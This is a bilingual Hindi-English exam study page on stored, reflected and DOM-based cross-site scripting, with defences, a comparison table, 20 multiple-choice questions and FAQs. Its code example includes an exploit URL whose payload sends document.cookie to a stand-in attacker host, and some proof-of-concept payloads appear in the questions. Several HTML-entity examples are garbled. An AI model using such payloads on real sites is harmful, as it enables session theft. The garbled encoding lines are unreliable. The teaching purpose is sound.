PGDCA, BCA, B-Tech, MCA, M-Tech, B.Sc computer science राजस्थान सूचना सहायक व कंप्यूटर शिक्षक विशेष नोट्स: इस अध्याय में हम Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS (क्रॉस-साइट स्क्रिप्टिंग (XSS): स्टोर्ड, रिफ्लेक्टेड और DOM आधारित XSS) की संपूर्ण थ्योरी, मुख्य तकनीकी बिंदु, तुलनात्मक तालिका और विगत परीक्षाओं के पैटर्न पर आधारित 20 अति-महत्वपूर्ण बहुविकल्पीय प्रश्न (MCQs) विस्तृत हिंदी व अंग्रेजी व्याख्या सहित पढ़ेंगे।
Overview: Cross-Site Scripting (XSS) injects malicious client-side scripts into trusted web pages to execute inside victims' browsers—occurring as Stored, Reflected, or DOM-based variants—and is mitigated by context-aware encoding and Content Security Policy (CSP).
अध्याय सार: क्रॉस-साइट स्क्रिप्टिंग (XSS) में हमलावर विश्वसनीय वेबसाइट के भीतर दुर्भावनापूर्ण JavaScript इंजेक्ट करता है जो पीड़ित के ब्राउज़र में चलकर डेटा व सेशन चुराती है; इसके तीन मुख्य प्रकार स्टोर्ड, रिफ्लेक्टेड व DOM-आधारित XSS हैं।
Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS: Detailed Notes & Architecture (क्रॉस-साइट स्क्रिप्टिंग (XSS): स्टोर्ड, रिफ्लेक्टेड और DOM आधारित XSS)
1. Same-Origin Policy Bypass & Security Impact of XSS (Same-Origin Policy बायपास और XSS का प्रभाव)
[EN] Web browsers enforce the Same-Origin Policy (SOP), isolating scripts by exact Origin tuple: (Protocol/Scheme, Hostname, Port). Because an XSS payload runs directly inside the vulnerable site's own Origin, browsers grant it full privileges of the logged-in user—enabling access to DOM data, localStorage/sessionStorage, non-HttpOnly cookies, keylogging, and making authenticated background fetch() requests (like password changes or transfers).
[HI] ब्राउज़र Same-Origin Policy (प्रोटोकॉल, होस्ट, पोर्ट) द्वारा एक साइट की स्क्रिप्ट को दूसरी साइट से अलग रखते हैं। लेकिन XSS पेलोड चूंकि उसी विश्वसनीय वेबसाइट के भीतर चलता है, इसलिए वह लॉगिन यूज़र के पूरे अधिकार पाकर DOM पढ़ सकता है, नॉन-HttpOnly कुकी चुरा सकता है और बैकग्राउंड में यूज़र की ओर से अनुरोध भेज सकता है।
2. Reflected vs Stored (Persistent) XSS (रिफ्लेक्टेड बनाम स्टोर्ड (Persistent) XSS)
[EN] In Reflected (Non-Persistent) XSS, a malicious script inside an HTTP request—such as a search query '?q=<script>...'—is immediately echoed back in the server's HTML response, requiring the victim to click a crafted link. In Stored (Persistent) XSS, the server saves the unescaped payload inside a database (forum comments, user bio, support tickets), automatically executing the script inside the browser of every user or admin who later views that page.
[HI] Reflected XSS में लिंक के पैरामीटर (?q=...) में भेजा गया पेलोड सर्वर से तुरंत प्रतिक्रिया में वापस आकर चलता है, इसके लिए पीड़ित को लिंक पर क्लिक करना पड़ता है। इसके विपरीत Stored XSS में पेलोड डेटाबेस (जैसे कमेंट या प्रोफाइल) में स्थायी रूप से सेव हो जाता है और उस पेज को खोलने वाले हर यूज़र के ब्राउज़र में स्वतः चलता है।
3. DOM-Based XSS: Client-Side Sources & Sinks (DOM-आधारित XSS: क्लाइंट-साइड सोर्स और सिंक)
[EN] DOM-Based XSS happens purely inside browser-side JavaScript without the payload necessarily appearing in the server's raw HTTP response. When client scripts read an attacker-controlled Source—like 'location.search', 'location.hash', or 'document.referrer'—and pass it directly into a dangerous execution Sink such as 'element.innerHTML', 'document.write()', or 'eval()', the browser parses and executes injected markup like '<img src=x onerror=...>'.
[HI] DOM-आधारित XSS पूरी तरह ब्राउज़र की JavaScript में होता है, इसमें सर्वर के मूल HTML में पेलोड मौजूद न भी हो तब भी खतरा रहता है। जब कोई स्क्रिप्ट असुरक्षित सोर्स (जैसे location.hash या location.search) से डेटा लेकर उसे सीधे खतरनाक सिंक (जैसे innerHTML, document.write, eval) में डालती है, तो स्क्रिप्ट चल जाती है।
4. Context-Aware Encoding, Safe DOM APIs & CSP (कॉन्टेक्स्ट-आधारित एन्कोडिंग, सुरक्षित API व CSP)
[EN] Preventing XSS requires encoding output specifically for its insertion context: HTML body text converts '<', '>', '&', '"', and single quote (') into HTML entities ('<', '>'), whereas JavaScript, CSS, and URL contexts demand dedicated encoders. In the DOM, replace 'innerHTML' with 'textContent', sanitize rich HTML with DOMPurify, enable 'HttpOnly' cookies, and deploy a strict Content Security Policy (CSP) header blocking inline scripts via cryptographic nonces.
[HI] XSS रोकने के लिए आउटपुट कॉन्टेक्स्ट के अनुसार एन्कोडिंग आवश्यक है: HTML टेक्स्ट के लिए '<' को '<' में बदलना, DOM में innerHTML के बजाय सुरक्षित 'textContent' उपयोग करना और रिच HTML को DOMPurify से साफ़ करना। साथ ही HttpOnly कुकी और सख्त Content Security Policy (CSP) हेडर इनलाइन स्क्रिप्ट को रोकते हैं।
Syntax, Formula & Technical Example (Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS)
// 1. VULNERABLE DOM XSS (Source: location.search -> Sink: innerHTML)
const user = new URLSearchParams(location.search).get('name');
document.getElementById('greet').innerHTML = 'Hello ' + user;
// Exploit URL: ?name=<img src=x onerror=fetch('https://attacker.test/?c='+document.cookie)>
// 2. SAFE DOM FIX (textContent prevents HTML parsing entirely)
document.getElementById('greet').textContent = 'Hello ' + user;
// 3. Defense-in-Depth HTTP Header (Content Security Policy)
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-R4nd0m'; object-src 'none';
Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS Quick Reference & Comparison Table
| XSS Variant / Control | Injection / Execution Flow | Primary Technical Distinction |
|---|---|---|
| Stored (Persistent) XSS | Saved in DB -> Executed on every page view | Affects all future viewers without tailored phishing links |
| Reflected XSS | Crafted URL/Form -> Immediate HTTP reflection | Requires victim to click/submit malicious request |
| DOM-Based XSS | Client Source (location.hash) -> Sink (innerHTML) | Occurs entirely in browser JS without server echo |
| Content Security Policy (CSP) | HTTP Header restricting script-src & nonces | Blocks unauthorized inline scripts & external domains |
Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS Top 20 Bilingual MCQs with Answers
Q1. Which three components define a browser's 'Origin' under the Same-Origin Policy (SOP)?
(ब्राउज़र की 'Same-Origin Policy (SOP)' के अंतर्गत किसी 'Origin' की पहचान किन तीन घटकों से होती है?)
(A) HTTP Method, Content-Type, and Browser Version
(B) Protocol (Scheme), Hostname (Domain), and Port number
(C) IP Address, MAC Address, and Cookie Expiry
(D) Username, Password Hash, and Session ID
Correct Answer: (B)
[EN] Two URLs share the same origin only if scheme (https), host (example.com), and port (443) all match identically.
[HI] दो URL तभी समान Origin के माने जाते हैं जब उनका प्रोटोकॉल (https), होस्टनेम (example.com) और पोर्ट नंबर तीनों हूबहू समान हों।
Q2. What distinguishes Stored XSS from Reflected XSS?
(Stored XSS और Reflected XSS के बीच मुख्य अंतर क्या है?)
(A) Stored XSS persists inside the server's database and executes for every visitor, while Reflected XSS echoes immediately from a single crafted request
(B) Reflected XSS modifies database schema permanently
(C) Stored XSS executes on the database server, whereas Reflected XSS executes on DNS servers
(D) Stored XSS requires HTTPS, while Reflected XSS requires FTP
Correct Answer: (A)
[EN] Stored (Persistent) XSS commonly targets comment threads or user profiles, spreading automatically to anyone viewing the stored record.
[HI] Stored XSS डेटाबेस में सेव होकर हर दर्शक पर असर डालता है, जबकि Reflected XSS केवल उसी लिंक पर क्लिक करने वाले यूज़र को प्रभावित करता है।
Q3. How can DOM-Based XSS occur even if a web server properly encodes everything inside its HTML template?
(यदि वेब सर्वर अपने HTML टेम्पलेट को सही से एन्कोड करे, तब भी DOM-Based XSS कैसे हो सकता है?)
(A) Client-side JavaScript reads an untrusted source (like location.hash after '#') and assigns it directly to a sink like element.innerHTML
(B) The web browser automatically strips HTML entities sent by the server
(C) The server firewall executes client-side JavaScript on port 80
(D) CSS stylesheets rewrite SQL queries in the browser
Correct Answer: (A)
[EN] Because URL fragments ('#payload') are never even transmitted to the server, DOM XSS occurs 100% in client-side JavaScript.
[HI] क्योंकि URL का '#' के बाद वाला हिस्सा सर्वर पर जाता ही नहीं, क्लाइंट-साइड JavaScript इसे पढ़कर सीधे innerHTML जैसे सिंक में डाल दे तो DOM XSS हो जाता है।
Q4. Why does inserting untrusted user text with 'element.textContent' instead of 'element.innerHTML' prevent XSS?
('element.innerHTML' के बजाय 'element.textContent' का उपयोग करने से XSS क्यों रुक जाता है?)
(A) textContent strips every alphabetic character from the DOM
(B) textContent encrypts all characters using Base64
(C) textContent treats the string strictly as plain literal characters and never invokes the HTML parser to create tags or event handlers
(D) textContent automatically sends the text to a cloud WAF for inspection
Correct Answer: (C)
[EN] If someone inputs '<script>alert(1)</script>' into textContent, it literally displays as plain text on screen rather than executing.
[HI] textContent किसी भी स्ट्रिंग को HTML टैग के रूप में पार्स नहीं करता, बल्कि उसे सादे टेक्स्ट के रूप में दिखाता है।
Q5. Why do attackers often use payloads like '<img src=x onerror=alert(1)>' instead of '<script>' tags inside innerHTML?
(innerHTML के अंदर '<script>' टैग के बजाय हमलावर अक्सर '<img src=x onerror=alert(1)>' क्यों उपयोग करते हैं?)
(A) HTML5 forbids executing '<script>' tags inserted dynamically via innerHTML, whereas inline event handlers like 'onerror' still fire immediately
(B) Browsers deleted support for <script> tags in HTML5
(C) onerror payloads work inside offline PDF readers only
(D) <img> tags bypass TLS encryption automatically
Correct Answer: (A)
[EN] Per the HTML5 spec, <script> injected via innerHTML will not run, so attackers trigger JavaScript via SVG onload or img onerror attributes.
[HI] HTML5 नियम के अनुसार innerHTML से जोड़ा गया <script> टैग नहीं चलता, लेकिन <img> का onerror इवेंट हैंडलर तुरंत JavaScript चला देता है।
Q6. Which pair represents a classic dangerous (Source -> Sink) flow for DOM-Based XSS?
(निम्नलिखित में से कौन सा जोड़ा DOM-Based XSS के लिए एक क्लासिक असुरक्षित (Source -> Sink) प्रवाह दर्शाता है?)
(A) Math.random() -> element.textContent
(B) document.title -> element.innerText
(C) Date.now() -> console.log()
(D) location.search -> document.write()
Correct Answer: (D)
[EN] Reading unvalidated query parameters via location.search and writing raw HTML via document.write() or innerHTML creates DOM XSS.
[HI] location.search से अनचाहा डेटा पढ़कर सीधे document.write() या innerHTML में डालना DOM XSS का प्रमुख कारण है।
Q7. What does setting the 'HttpOnly' cookie flag prevent during a successful XSS attack, and what can XSS STILL do?
(सफल XSS हमले के दौरान 'HttpOnly' कुकी फ्लैग क्या रोकता है, और इसके बावजूद XSS क्या कर सकता है?)
(A) HttpOnly deletes the user's session upon any DOM change
(B) HttpOnly converts XSS automatically into a 403 Forbidden error
(C) HttpOnly stops all JavaScript execution on the entire webpage
(D) HttpOnly blocks reading the cookie via document.cookie, but the XSS script can still perform authenticated actions via fetch() inside the user's session
Correct Answer: (D)
[EN] Because browsers automatically attach HttpOnly cookies to same-origin fetch() calls, XSS can still act as the user ('Session Riding' inside the origin).
[HI] HttpOnly केवल document.cookie से कुकी चुराने से रोकता है, लेकिन XSS स्क्रिप्ट उसी ब्राउज़र सेशन में fetch() चलाकर यूज़र के नाम से कार्य कर सकती है।
Q8. What does a strict 'Content-Security-Policy: script-src 'self'' HTTP header block by default?
(सख्त 'Content-Security-Policy: script-src 'self'' HTTP हेडर डिफ़ॉल्ट रूप से किसे ब्लॉक कर देता है?)
(A) All CSS stylesheets and JPEG images
(B) All HTTPS TLS 1.3 server handshakes
(C) All HTML <form> POST submissions to the same domain
(D) Inline <script> blocks, inline event handlers (onerror/onclick), eval(), and scripts loaded from external third-party domains
Correct Answer: (D)
[EN] Unless explicitly weakened with 'unsafe-inline'/'unsafe-eval' or authorized via cryptographic nonces/hashes, CSP stops injected inline JS from running.
[HI] जब तक 'unsafe-inline' या वैध nonce न दिया जाए, CSP पेज में इंजेक्ट की गई किसी भी इनलाइन स्क्रिप्ट और बाहरी अनधिकृत डोमेन की स्क्रिप्ट को चलने से रोक देता है।
Q9. When reflecting untrusted input directly inside HTML body text (like <div>USER</div>), which characters MUST be HTML-entity encoded?
(HTML बॉडी टेक्स्ट (जैसे <div>USER</div>) में डेटा दिखाते समय किन प्रमुख अक्षरों की HTML-एंटिटी एन्कोडिंग अनिवार्य है?)
(A) Only spaces and commas
(B) Only numbers 0 through 9
(C) Only @ and % characters
(D) & (&), < (<), > (>), " ("), and ' (')
Correct Answer: (D)
[EN] Converting angle brackets, quotes, and ampersands prevents untrusted text from breaking out of text context into HTML tags or attributes.
[HI] &, <, >, " और ' को उनके HTML एंटिटी कोड (<, > आदि) में बदलने से टेक्स्ट कभी HTML टैग या एट्रिब्यूट में नहीं बदल सकता।
Q10. Why is HTML-entity encoding ALONE insufficient if user input is placed inside an unquoted href attribute (e.g., <a href=USER>)?
(यदि यूज़र इनपुट को <a href=USER> जैसे लिंक एट्रिब्यूट में रखा जाए, तो केवल '<' और '>' को एन्कोड करना पर्याप्त क्यों नहीं होता?)
(A) Browsers execute Python code inside href tags
(B) An attacker can supply 'javascript:alert(1)' using zero angle brackets or quotes, executing JS when clicked
(C) href attributes automatically decode Base64 strings
(D) href attributes ignore all HTML entity encodings automatically
Correct Answer: (B)
[EN] URL contexts require strict protocol allowlisting (permitting only http:// or https://) to block 'javascript:' and 'data:' URIs.
[HI] इसमें '<' या '>' के बिना ही 'javascript:alert(1)' लिखकर लिंक क्लिक कराने पर स्क्रिप्ट चलाई जा सकती है, इसलिए URL प्रोटोकॉल की जांच जरूरी है।
Q11. Which open-source JavaScript library is industry-standard for safely sanitizing user-authored rich HTML before rendering?
(यूज़र द्वारा लिखे गए रिच HTML (जैसे ब्लॉग पोस्ट) को रेंडर करने से पहले सुरक्षित रूप से सैनिटाइज करने के लिए कौन सी JavaScript लाइब्रेरी मानक मानी जाती है?)
(A) lodash.merge
(B) DOMPurify
(C) jQuery 1.4
(D) sqlmap
Correct Answer: (B)
[EN] DOMPurify parses HTML safely into a DOM tree and strips dangerous tags (<script>, <iframe>) and attributes (onerror, javascript:).
[HI] DOMPurify HTML को पार्स कर खतरनाक टैग्स (<script>, <iframe>) और इवेंट एट्रिब्यूट्स (onerror) को हटाकर सुरक्षित HTML लौटाता है।
Q12. What does the term 'Mutation XSS (mXSS)' refer to?
('Mutation XSS (mXSS)' शब्द किस जटिल कमजोरी को संदर्भित करता है?)
(A) A server-side SQL query mutating into an LDAP query
(B) A DNS record updating its TTL automatically
(C) An attack where a benign-looking HTML fragment mutates into an executable XSS payload during browser HTML parser re-serialization
(D) A browser extension changing CSS dark mode colors
Correct Answer: (C)
[EN] Because browsers auto-repair malformed HTML quirks differently than naive sanitizers, parsing and re-inserting HTML via innerHTML can activate hidden payloads.
[HI] इसमें देखने में सुरक्षित लगने वाला HTML ब्राउज़र के ऑटो-करेक्शन पार्सर द्वारा दोबारा पार्स होने पर बदलकर खतरनाक XSS पेलोड बन जाता है।
Q13. What is 'Blind XSS'?
('Blind XSS' क्या होता है?)
(A) XSS that only works when the victim uses screen-reader accessibility mode
(B) XSS triggered inside disabled <input type='hidden'> fields
(C) Reflected XSS encrypted with SHA-1
(D) A stored XSS payload triggered later inside a separate internal system (such as an admin dashboard or CRM log viewer) unseen by the attacker
Correct Answer: (D)
[EN] Attackers submit payloads in contact forms or User-Agent headers hoping an admin views the ticket later and triggers an out-of-band callback.
[HI] Blind XSS एक स्टोर्ड XSS है जो हमलावर को तुरंत नहीं दिखता, बल्कि बाद में किसी एडमिन पैनल या सपोर्ट टिकट सिस्टम में खुलने पर सक्रिय होता है।
Q14. In a modern CSP header, what is a cryptographic 'nonce' (e.g., script-src 'nonce-xyz123')?
(आधुनिक CSP हेडर में क्रिप्टोग्राफिक 'nonce' (जैसे script-src 'nonce-xyz123') का क्या कार्य है?)
(A) A static password shared across all users for 1 year
(B) A compression algorithm replacing Gzip
(C) A fresh, unpredictable per-response random token allowing ONLY legitimate <script nonce='xyz123'> tags while blocking injected scripts
(D) A DNS TXT record storing website SSL keys
Correct Answer: (C)
[EN] Because an attacker injecting HTML cannot guess the fresh server-generated nonce for that response, injected <script> tags are blocked by the browser.
[HI] सर्वर हर पेज लोड पर एक अनोखा रैंडम nonce भेजता है; केवल सही nonce वाले वैध <script> टैग ही चलते हैं और इंजेक्ट की गई स्क्रिप्ट ब्लॉक हो जाती है।
Q15. How does XSS fundamentally differ from SQL Injection in terms of execution location?
(निष्पादन स्थान (Execution Location) के संदर्भ में XSS और SQL इंजेक्शन में क्या मूलभूत अंतर है?)
(A) XSS executes inside the database engine, while SQLi executes inside the GPU
(B) SQL Injection executes on the backend database server, whereas XSS executes client-side inside the victim's web browser
(C) Both execute exclusively inside the Apache web server kernel
(D) SQL Injection targets CSS files, whereas XSS targets routers
Correct Answer: (B)
[EN] SQLi abuses server-side DB trust; XSS abuses victim browser trust in code served from a legitimate website.
[HI] SQL इंजेक्शन सर्वर के डेटाबेस में चलता है, जबकि XSS पीड़ित के वेब ब्राउज़र के भीतर क्लाइंट-साइड पर निष्पादित होता है।
Q16. Which statement about Cross-Site Scripting (XSS) is FALSE?
(क्रॉस-साइट स्क्रिप्टिंग (XSS) के विषय में निम्नलिखित में से कौन सा कथन असत्य (FALSE) है?)
(A) Replacing innerHTML with textContent stops HTML markup parsing for untrusted text
(B) Stored XSS persists inside server storage and impacts multiple users over time
(C) Adding the 'HttpOnly' attribute to cookies makes a website completely immune to Cross-Site Scripting
(D) DOM-based XSS does not require the malicious payload to appear in the server's raw HTTP response
Correct Answer: (C)
[EN] HttpOnly protects cookies from document.cookie theft, NOT from XSS execution itself—XSS can still steal page data, log keystrokes, or issue authenticated requests.
[HI] HttpOnly केवल कुकी को JavaScript से पढ़ने से रोकता है, यह XSS को होने से नहीं रोकता; XSS फिर भी कीलॉगिंग या यूज़र के नाम से fetch अनुरोध भेज सकता है।
Q17. Within Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS, which xss variant / control directly maps to: "Saved in DB -> Executed on every page view"?
(Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS में कौन सा XSS Variant / Control सीधे "Saved in DB -> Executed on every page view" से संबंधित है?)
(A) Content Security Policy (CSP)
(B) Reflected XSS
(C) Stored (Persistent) XSS
(D) DOM-Based XSS
Correct Answer: (C)
[EN] In Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS, 'Stored (Persistent) XSS' handles 'Saved in DB -> Executed on every page view' (Affects all future viewers without tailored phishing links).
[HI] Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS में 'Stored (Persistent) XSS' का कार्य/विवरण 'Saved in DB -> Executed on every page view' (Affects all future viewers without tailored phishing links) है।
Q18. Which option accurately describes 'Reflected XSS' in Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS?
(Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS के संदर्भ में 'Reflected XSS' की सही विशेषता कौन सी है?)
(A) Client Source (location.hash) -> Sink (innerHTML)
(B) HTTP Header restricting script-src & nonces
(C) Saved in DB -> Executed on every page view
(D) Crafted URL/Form -> Immediate HTTP reflection
Correct Answer: (D)
[EN] 'Reflected XSS' provides 'Crafted URL/Form -> Immediate HTTP reflection' — key point: Requires victim to click/submit malicious request.
[HI] 'Reflected XSS' का मुख्य विवरण 'Crafted URL/Form -> Immediate HTTP reflection' है (Requires victim to click/submit malicious request)।
Q19. In Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS, identify the correct parameter for the specification: "Client Source (location.hash) -> Sink (innerHTML)".
(Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS में "Client Source (location.hash) -> Sink (innerHTML)" विवरण किस विकल्प के लिए सही है?)
(A) DOM-Based XSS
(B) Content Security Policy (CSP)
(C) Stored (Persistent) XSS
(D) Reflected XSS
Correct Answer: (A)
[EN] 'DOM-Based XSS' corresponds to 'Client Source (location.hash) -> Sink (innerHTML)' (Occurs entirely in browser JS without server echo).
[HI] 'DOM-Based XSS' का संबंध 'Client Source (location.hash) -> Sink (innerHTML)' (Occurs entirely in browser JS without server echo) से है।
Q20. Considering Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS, what key behavior defines 'Content Security Policy (CSP)'?
(Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS में 'Content Security Policy (CSP)' की मुख्य भूमिका या मान क्या है?)
(A) HTTP Header restricting script-src & nonces
(B) Saved in DB -> Executed on every page view
(C) Crafted URL/Form -> Immediate HTTP reflection
(D) Client Source (location.hash) -> Sink (innerHTML)
Correct Answer: (A)
[EN] 'Content Security Policy (CSP)' represents 'HTTP Header restricting script-src & nonces' (Blocks unauthorized inline scripts & external domains).
[HI] 'Content Security Policy (CSP)' का अर्थ/मान 'HTTP Header restricting script-src & nonces' है (Blocks unauthorized inline scripts & external domains)।
Cross-Site Scripting (XSS): Stored, Reflected and DOM-based XSS — Exam FAQs
Q1: Why doesn't the Same-Origin Policy block XSS attacks?
Same-Origin Policy (SOP) XSS हमलों को क्यों नहीं रोक पाती?
[EN] SOP prevents Site A's scripts from reading Site B's data. In XSS, the malicious script is injected directly INTO Site B, so the browser treats it as belonging to Site B's own trusted Origin.
[HI] SOP एक साइट को दूसरी साइट का डेटा पढ़ने से रोकती है। XSS में चूंकि कोड विश्वसनीय वेबसाइट के भीतर ही चल रहा होता है, इसलिए ब्राउज़र उसे उसी साइट का हिस्सा मान लेता है।
Q2: Can XSS happen inside JSON APIs or SVG file uploads?
क्या JSON API या SVG इमेज अपलोड से भी XSS हो सकता है?
[EN] Yes. Uploading an SVG file containing <script> tags and serving it inline with Content-Type: image/svg+xml executes JS on the origin. Returning JSON with Content-Type: text/html also enables XSS.
[HI] हाँ। SVG एक XML-आधारित फाइल है जिसमें <script> टैग चल सकते हैं यदि उसे सीधे खोला जाए, और JSON को गलती से text/html हेडर के साथ भेजने पर भी XSS हो सकता है।
Q3: What is the most common mistake developers make when deploying Content Security Policy (CSP)?
Content Security Policy (CSP) लागू करते समय डेवलपर्स सबसे आम गलती क्या करते हैं?
[EN] Adding 'unsafe-inline' or wildcard '*' to script-src for convenience, which completely neutralizes CSP's primary protection against injected scripts.
[HI] सुविधा के लिए script-src में 'unsafe-inline' या '*' जोड़ देना, जिससे इंजेक्ट की गई स्क्रिप्ट्स को रोकने की CSP की मूल शक्ति समाप्त हो जाती है।
Post a Comment
Post a Comment